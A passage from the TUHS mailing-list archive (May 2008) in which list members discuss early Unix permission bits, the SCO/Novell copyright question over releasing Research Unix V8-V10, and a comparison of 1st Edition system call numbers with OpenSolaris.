oddity In-Reply-To: <20080521043224.GA32712@minnie.tuhs.org> References: <20080521043224.GA32712@minnie.tuhs.org> Message-ID: <20080521110851.GG14184@mercury.ccil.org> Warren Toomey scripsit: > The only possibility that I can see is, as 3rd Edition was being rewritten > from assembly into C, the filesystem went through a stage where there > "rwx" execute bits for user, and "rxw" execute bits for other as the CACM > paper described, but groups had not been introduced yet. Then, the idea of > groups was added [...]. I think you're probably right, but with an important caveat: It's important to remember that 1st, 2nd, 3rd, ... represent editions of the *manual*, and that there is no guarantee that any particular snapshot of the system corresponds exactly to what was in any particular manual edition. Research Unix (as it was later called retrospectively) was right up to the end a continuously evolving system, and the whole concept of releases simply did not exist for it. So when the CACM article was written, it probably specified what the kernel was doing that particular day, without reference to any edition. -- John Cowan http://www.ccil.org/~cowan cowan at ccil.org Please leave your values Check your assumptions. In fact, at the front desk. check your assumptions at the door. --sign in Paris hotel --Cordelia Vorkosigan From wkt at tuhs.org Wed May 21 21:20:53 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 21 May 2008 21:20:53 +1000 Subject: [TUHS] Early UNIX file permission oddity In-Reply-To: <20080521110851.GG14184@mercury.ccil.org> References: <20080521043224.GA32712@minnie.tuhs.org> <20080521110851.GG14184@mercury.ccil.org> Message-ID: <20080521112053.GA44285@minnie.tuhs.org> On Wed, May 21, 2008 at 07:08:51AM -0400, John Cowan wrote: > It's important to remember that 1st, 2nd, 3rd, ... represent editions of > the *manual*, and that there is no guarantee that any particular > snapshot of the system corresponds exactly to what was in any particular > manual edition. Research Unix (as it was later called retrospectively) > was right up to the end a continuously evolving system, and the whole > concept of releases simply did not exist for it. > So when the CACM article was written, it probably specified what the > kernel was doing that particular day, without reference to any edition. Yes, exactly right. That's always in the back of my mind, so sometimes I forget to make it explicit. What I should have said that the CACM paper possibly indicates that UNIX went through the stages: "rwrw" + "x" ==> "rwxrwx" ==> "rwxrwxrwx" sometime between the points in time known as 3rd and 4th Editions. Thanks John, Warren From cowan at ccil.org Wed May 21 21:50:32 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 21 May 2008 07:50:32 -0400 Subject: [TUHS] Early UNIX file permission oddity In-Reply-To: <20080521112053.GA44285@minnie.tuhs.org> References: <20080521043224.GA32712@minnie.tuhs.org> <20080521110851.GG14184@mercury.ccil.org> <20080521112053.GA44285@minnie.tuhs.org> Message-ID: <20080521115032.GI14184@mercury.ccil.org> Warren Toomey scripsit: > What I should have said that the CACM paper > possibly indicates that UNIX went through the stages: > > "rwrw" + "x" ==> "rwxrwx" ==> "rwxrwxrwx" > > sometime between the points in time known as 3rd and 4th Editions. I think you did say just that. I was trying to make a more general point for everyone on the list, not you in particular: not to assume that the code snapshots we have correspond in any detailed way to the manual snapshots we have. -- John Cowan cowan at ccil.org http://ccil.org/~cowan [R]eversing the apostolic precept to be all things to all men, I usually [before Darwin] defended the tenability of the received doctrines, when I had to do with the [evolution]ists; and stood up for the possibility of [evolution] among the orthodox --thereby, no doubt, increasing an already current, but quite undeserved, reputation for needless combativeness. --T. H. Huxley From cowan at ccil.org Wed May 21 22:31:18 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 21 May 2008 08:31:18 -0400 Subject: [TUHS] V8 - V10? In-Reply-To: <200805201858.m4KIwL2n004195@skeeve.com> References: <200805201858.m4KIwL2n004195@skeeve.com> Message-ID: <20080521123118.GJ14184@mercury.ccil.org> Aharon Robbins scripsit: > Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS? I'd think it was. SCO owns nothing except a license, and whatever it did own, its predecessor in interest Caldera licensed away under a BSD license. Whether anyone wants to do the work is another question. Digital preservation stands on three legs: right, power, and concern, and the greatest of these is concern. -- John Cowan cowan at ccil.org http://ccil.org/~cowan If a soldier is asked why he kills people who have done him no harm, or a terrorist why he kills innocent people with his bombs, they can always reply that war has been declared, and there are no innocent people in an enemy country in wartime. The answer is psychotic, but it is the answer that humanity has given to every act of aggression in history. --Northrop Frye From pepe at naleco.com Thu May 22 04:52:40 2008 From: pepe at naleco.com (Pepe) Date: Wed, 21 May 2008 20:52:40 +0200 Subject: [TUHS] V8 - V10? In-Reply-To: References: Message-ID: <20080521185239.GA22550@d600.naleco.com> > From: Aharon Robbins > > Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS? It seems clear, now, that the copyright on that is Novell's, and that The SCO Group *never* had the copyright for that transferred to them by Novell, and that therefore the "open-sourcing" of that material done by Caldera is void because Caldera was lacking just title to do such re-licensing. Therefore, you can legally release it to TUHS, provided you have a license or permission from Novell to do so. You could always release it anyway, and hope for the best, but then you are on your own and betting for your luck. Anything could happen, but it is unknown. -- Pepe pepe at naleco.com From cowan at ccil.org Thu May 22 05:31:53 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 21 May 2008 15:31:53 -0400 Subject: [TUHS] V8 - V10? In-Reply-To: <20080521185239.GA22550@d600.naleco.com> References: <20080521185239.GA22550@d600.naleco.com> Message-ID: <20080521193153.GP14184@mercury.ccil.org> Pepe scripsit: > It seems clear, now, that the copyright on that is Novell's, and that > The SCO Group *never* had the copyright for that transferred to them by > Novell, and that therefore the "open-sourcing" of that material done by > Caldera is void because Caldera was lacking just title to do such > re-licensing. IANAL and TINLA, but Caldera *did* have a license to sublicense the content to third parties (which is not the same as copyright ownership), so the BSD license should be valid. -- John Cowan cowan at ccil.org http://ccil.org/~cowan If a soldier is asked why he kills people who have done him no harm, or a terrorist why he kills innocent people with his bombs, they can always reply that war has been declared, and there are no innocent people in an enemy country in wartime. The answer is psychotic, but it is the answer that humanity has given to every act of aggression in history. --Northrop Frye From newsham at lava.net Thu May 22 07:39:17 2008 From: newsham at lava.net (Tim Newsham) Date: Wed, 21 May 2008 11:39:17 -1000 (HST) Subject: [TUHS] Early UNIX file permission oddity In-Reply-To: <20080521110851.GG14184@mercury.ccil.org> References: <20080521043224.GA32712@minnie.tuhs.org> <20080521110851.GG14184@mercury.ccil.org> Message-ID: > It's important to remember that 1st, 2nd, 3rd, ... represent editions of > the *manual*, and that there is no guarantee that any particular > snapshot of the system corresponds exactly to what was in any particular > manual edition. Research Unix (as it was later called retrospectively) > was right up to the end a continuously evolving system, and the whole > concept of releases simply did not exist for it. I thought there were distinct releases for 5th and 6th (and 7th?) edition where the manuals, sources and binaries were all collected in a consistent snapshot and released as a unit. > John Cowan http://www.ccil.org/~cowan cowan at ccil.org Tim Newsham http://www.thenewsh.com/~newsham/ From pepe at naleco.com Thu May 22 10:45:36 2008 From: pepe at naleco.com (Pepe) Date: Thu, 22 May 2008 02:45:36 +0200 Subject: [TUHS] V8 - V10? In-Reply-To: <20080521193153.GP14184@mercury.ccil.org> References: <20080521185239.GA22550@d600.naleco.com> <20080521193153.GP14184@mercury.ccil.org> Message-ID: <20080522004536.GA26420@d600.naleco.com> On Wed, May 21, 2008 at 03:31:53PM -0400, John Cowan wrote: > Pepe scripsit: > > > It seems clear, now, that the copyright on that is Novell's, and that > > The SCO Group *never* had the copyright for that transferred to them by > > Novell, and that therefore the "open-sourcing" of that material done by > > Caldera is void because Caldera was lacking just title to do such > > re-licensing. > > IANAL and TINLA, but Caldera *did* have a license to sublicense the > content to third parties (which is not the same as copyright ownership), > so the BSD license should be valid. Wrong. Caldera had a License to UNIX (including System V and UnixWare) furnished by Novell, and they could only sublicense with a different license if under Novell's prior permission to do so, which didn't happen. Section 4.16(b) of the "Asset Purchase Agreement" entered to by the old Santa Cruz and Novell, states: "[Santa Cruz] shall not, and shall not have the authority to, amend, modify, or waive any right under or assign any SVRX License without the prior consent of [Novell]". It is true that here they are talking about System V, and not about Version 8 - Version 10. What Novell transferred to the old SCO was the UNIX and UnixWare trademarks, the UNIX business assets, and a license to pursue the UNIX business on their own; and it excluded the UNIX and UnixWare copyrights. Judge Dale A. Kimball says in his ruling on the 10th of August of 2007: "SCO contends that the exclusion of the UNIX and UnixWare copyrights would render the APA meaningless because it would prevent Santa Cruz from pursuing its UNIX business. [...] Contrary to SCO's assertions, there is evidence that SCO did not need to own the UNIX and UnixWare copyrights to pursue its UNIX business. It is well established that a contract involving copyrighted works confers an implied license to use the copyrights as needed to implement the transaction." So, The SCO Group can operate the UNIX business it acquired from Novell, but cannot change the license of that material is under because The SCO Group does not own copyright of it, and because the APA the old SCO and Novell entered prohibits such change of license without Novell's permission. It's not all clear cut, because the explicit reference to the prohibition to modify the License only mentions SVRX, but it follows quite clear that only the copyright owner, or those allowed to do so by the copyright owner, can change the license of the material. Therefore, only Novell can "open-source" V8 - V10, which is the point being discussed here, and Caldera had no title to do it. -- Pepe pepe at naleco.com From lm at bitmover.com Thu May 22 10:54:41 2008 From: lm at bitmover.com (Larry McVoy) Date: Wed, 21 May 2008 17:54:41 -0700 Subject: [TUHS] V8 - V10? In-Reply-To: <20080522004536.GA26420@d600.naleco.com> References: <20080521185239.GA22550@d600.naleco.com> <20080521193153.GP14184@mercury.ccil.org> <20080522004536.GA26420@d600.naleco.com> Message-ID: <20080522005441.GA6333@bitmover.com> > Therefore, only Novell can "open-source" V8 - V10, which is the point > being discussed here, and Caldera had no title to do it. Has anyone asked Novell? -- --- Larry McVoy lm at bitmover.com http://www.bitkeeper.com From aek at bitsavers.org Thu May 22 14:59:58 2008 From: aek at bitsavers.org (Al Kossow) Date: Wed, 21 May 2008 21:59:58 -0700 Subject: [TUHS] V8 - V10? In-Reply-To: <20080522005441.GA6333@bitmover.com> References: <20080521185239.GA22550@d600.naleco.com> <20080521193153.GP14184@mercury.ccil.org> <20080522004536.GA26420@d600.naleco.com> <20080522005441.GA6333@bitmover.com> Message-ID: <4834FDCE.7040707@bitsavers.org> Larry McVoy wrote: >> Therefore, only Novell can "open-source" V8 - V10, which is the point >> being discussed here, and Caldera had no title to do it. > > Has anyone asked Novell? I would be VERY interested in knowing their current feelings about this, since I know of some other software encumbered by BSD-era Unix IP that might become available if something could be worked out. From arnold at skeeve.com Thu May 22 15:05:54 2008 From: arnold at skeeve.com (Aharon Robbins) Date: Thu, 22 May 2008 08:05:54 +0300 Subject: [TUHS] V8 - V10? Message-ID: <200805220505.m4M55s6n004238@skeeve.com> Yow. I didn't expect such a flurry of legalese when I asked the question. > Date: Wed, 21 May 2008 17:54:41 -0700 > From: lm at bitmover.com (Larry McVoy) > Subject: Re: [TUHS] V8 - V10? > To: Pepe > Cc: tuhs at minnie.tuhs.org > > > Therefore, only Novell can "open-source" V8 - V10, which is the point > > being discussed here, and Caldera had no title to do it. I hadn't kept up, so this was an interesting surprise. At least we know more or less what's going on now. > Has anyone asked Novell? Indeed. Do we even know who to ask there? Thanks, Arnold From wkt at tuhs.org Thu May 22 15:07:25 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 22 May 2008 15:07:25 +1000 Subject: [TUHS] V8 - V10? In-Reply-To: <200805201858.m4KIwL2n004195@skeeve.com> References: <200805201858.m4KIwL2n004195@skeeve.com> Message-ID: <20080522050725.GA88989@minnie.tuhs.org> On Tue, May 20, 2008 at 09:58:21PM +0300, Aharon Robbins wrote: > Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS? I'm surprised that Norman Wilson hasn't spoke up about these editions. Here is a bit of an e-mail he sent w.r.t 10th Edition a while back: --- The system included intellectual property with five types of ownership: a. Stuff that came out of 4.1a (approx) BSD. b. Borrowings from contemporary System V, often then worked over further within 1127, but still identifiably theirs. (make and pcc2 are clear examples.) c. 1127 inventions that were adopted in some recognizable form into System V. (Aspects of the stream I/O system, for example.) d. 1127 inventions that were never adopted by anyone else. (Much of the connection server.) e. Chunks of third-party software that we had under various licenses, and stored in /usr/src/cmd because we put everything there; some public-domain, some private. The problems involve b c d e. ... e doesn't really matter because none of that code matters (and in fact I have thrown it all out). Probably nobody is worried about d because it's all a dead end anyway from a commercial point of view; certainly the Ancient Systems License terms are likely to work fine. (This is actually Dennis's opinion too.) b and c are the real problem: the attachment to System V is recent enough that it is not obvious that the Ancient Systems License applies --- Cheers, Warren From wes.parish at paradise.net.nz Thu May 22 19:09:28 2008 From: wes.parish at paradise.net.nz (Wesley Parish) Date: Thu, 22 May 2008 21:09:28 +1200 Subject: [TUHS] V8 - V10? In-Reply-To: <20080522005441.GA6333@bitmover.com> References: <20080522004536.GA26420@d600.naleco.com> <20080522005441.GA6333@bitmover.com> Message-ID: <200805222109.29204.wes.parish@paradise.net.nz> FWIW, I have asked Novell to consider opening the Unix System V Release X source trees after this SCO Group farce is wound up and over, in order to stop it ever happening again. I received a reply, but I've forgotten most of it. Wesley Parish On Thursday 22 May 2008 12:54, Larry McVoy wrote: > > Therefore, only Novell can "open-source" V8 - V10, which is the point > > being discussed here, and Caldera had no title to do it. > > Has anyone asked Novell? -- Clinersterton beademung, with all of love - RIP James Blish ----- Gaul is quartered into three halves. Things which are impossible are equal to each other. Guerrilla warfare means up to their monkey tricks. Extracts from "Schoolboy Howlers" - the collective wisdom of the foolish. ----- Mau e ki, he aha te mea nui? You ask, what is the most important thing? Maku e ki, he tangata, he tangata, he tangata. I reply, it is people, it is people, it is people. From jrvalverde at acm.org Fri May 23 02:10:33 2008 From: jrvalverde at acm.org (Jose R. Valverde) Date: Thu, 22 May 2008 18:10:33 +0200 Subject: [TUHS] V8 - V10 Message-ID: <20080522181033.66c95137@punk.cnb.csic.es> My take on this is multiple: If I remember well from IBM vs. SCO the agreements between IBM and alike and AT&T stated that the code was to be kept confidential but that if a third party did release it, the licensees would no longer be bound by that restriction. Solaris has been open sourced and is heavily System V based. Novell argues now SCO was not entitled to, and so the Sun-SCO agreement that made it possible is probably void. Novell is now engaged against SCO. Once that is over, they'll have to look at the Sun and MS agreements. My take on this is that they will renegotiate. In the case of Sun there is no longer sense in asking for the code to be closed. It's in the open now and has been for a long time. If I were Novell, I would negotiate in a oblique direction: Solaris _may_ pose a competing threat to Novell Linux business... arguably. Sun is interested in making Solaris GPL. If it were, then Novell would have no standpoint against Sun as it would make no difference then for them to use either Linux or Solaris, both being equally available and third-party originated under the same license. Going after Solaris would give them a very bad reputation among OSS followers. Thus, what would make more sense would be to negotiate with Sun and ask for some more money in exchange for dropping any charges and Solaris becoming GPL. Everybody wins and everybody is happy. Should it go that way, and probably only afterward, Novell may consider opening up System V under an OSS license, as most of it would have been rendered obsolete by OSS Solaris. It would also increase Novell's reputation and clear this mess forever. Hopefully by the time this happens (counting on SCO or their successors to appeal the Utah decision), maybe 10 years from now, System V will have become as irrelevant -commercially I mean- as e. g. UNIX v5 is now while historical interest and value will have raised after several years of TUHS applying moderate pressure ;-) It would also be the time to ask IBM to release the code for AIX and DYNIX (which is already in the wild according to soothsayers), HP to open Tru64 (same and which they insist on phasing out), etc... There remains the issue of the flow of SystemV licenses money to Novell after and if it is open sourced... I don't know how much that is, nor how much it might be 4-10 years from now when the SCO appeals are heard. So my evaluation is probably faulty. Oh, well, I woke up in a dreamy mood today! :-) j -- These opinions are mine and only mine. Hey man, I saw them first! José R. Valverde De nada sirve la Inteligencia Artificial cuando falta la Natural From pepe at naleco.com Sat May 24 00:05:28 2008 From: pepe at naleco.com (Pepe) Date: Fri, 23 May 2008 16:05:28 +0200 Subject: [TUHS] V8 - V10? In-Reply-To: References: Message-ID: <20080523140526.GA22206@d600.naleco.com> > Date: Thu, 22 May 2008 18:10:33 +0200 > From: "Jose R. Valverde" > Subject: Re: [TUHS] V8 - V10 > > Solaris has been open sourced and is heavily System V based. Novell > argues now SCO was not entitled to, and so the Sun-SCO agreement that made it > possible is probably void. > > [...] > There remains the issue of the flow of SystemV licenses money to Novell > after and if it is open sourced... I don't know how much that is, nor how much > it might be 4-10 years from now when the SCO appeals are heard. So my evaluation > is probably faulty. I concur with your opinion. If Novell could not get paid from The SCO Group of the percentage (about 90%) they are entitled to of the SVRX License Payment SUN made to The SCO Group, and of the SVRX License Payment Microsoft made to The SCO Group (because, you know, The SCO Group has filled for bankruptcy), then they are probably going to action on the basis of said Licenses being void, or at least in being void the part of such Licenses that allows to Sub-license the material changing the terms of the License, or changing the License altogether. According to this hypothesis on the future, in case The SCO Group cannot find the money to pay Novell, Novell will probably try to renegotiate such Licenses directly with SUN and Microsoft. Microsoft will probably just return the material instead of paying for it (as they don't need it), but SUN is in a totally different position. SUN has now OpenSolaris, which was made possible by that License they got from The SCO Group. So SUN will renegotiate and pay Novell to legalize the SVRX License they got from The SCO Group which allowed them to "open-source" Solaris. Only after Novell gets that payment(s), either from The SCO Group or SUN, will they consider "open-sourcing" the historical SVRX and classical UNIX code. Otherwise, they could hardly monetize on it, as they currently have the opportunity to do. Regards, -- Pepe pepe at naleco.com From milov at uwlax.edu Sat May 24 01:28:42 2008 From: milov at uwlax.edu (Milo Velimirovic) Date: Fri, 23 May 2008 10:28:42 -0500 Subject: [TUHS] amusement Message-ID: Seen in a .sig: Unix is the answer, but only if you phrase the question very carefully. -- Milo Velimirović University of Wisconsin - La Crosse La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W From wkt at tuhs.org Thu May 29 21:15:23 2008 From: wkt at tuhs.org (Warren Toomey) Date: Thu, 29 May 2008 21:15:23 +1000 Subject: [TUHS] 1st Edition UNIX syscalls In-Reply-To: <20080518075820.GA75584@minnie.tuhs.org> References: <20080518075820.GA75584@minnie.tuhs.org> Message-ID: <20080529111523.GA63186@minnie.tuhs.org> A while back I wrote about the system calls in 1st Edition UNIX. I was idly wondering how much of 1st Ed (and prior) still existed in modern UNIXes. Obviously, with the change of language from assembly to C, we won't be able to find identical lines, but the enumeration of system calls, for example, is one way to spot the lineage: 1st Edition Open Solaris [1] ============================== V1_RELE 0 indir V1_EXIT 1 rexit V1_FORK 2 forkall V1_READ 3 read V1_WRITE 4 write V1_OPEN 5 open V1_CLOSE 6 close V1_WAIT 7 wait V1_CREAT 8 creat V1_LINK 9 link V1_UNLINK 10 unlink V1_EXEC 11 exec V1_CHDIR 12 chdir V1_TIME 13 gtime V1_MKDIR 14 mknod V1_CHMOD 15 chmod V1_CHOWN 16 chown V1_BREAK 17 brk V1_STAT 18 stat V1_SEEK 19 lseek32 or lseek64 V1_TELL 20 getpid V1_MOUNT 21 mount V1_UMOUNT 22 umount V1_SETUID 23 setuid V1_GETUID 24 getuid V1_STIME 25 stime V1_QUIT 26 pcsample V1_INTR 27 alarm V1_FSTAT 28 fstat V1_CEMT 29 pause V1_SMDATE 30 utime V1_STTY 31 stty V1_GTTY 32 gtty V1_ILGINS 33 access Quite a surprising similarity after nearly 4 decades. Cheers, Warren [1] http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/uts/common/os/sysent.c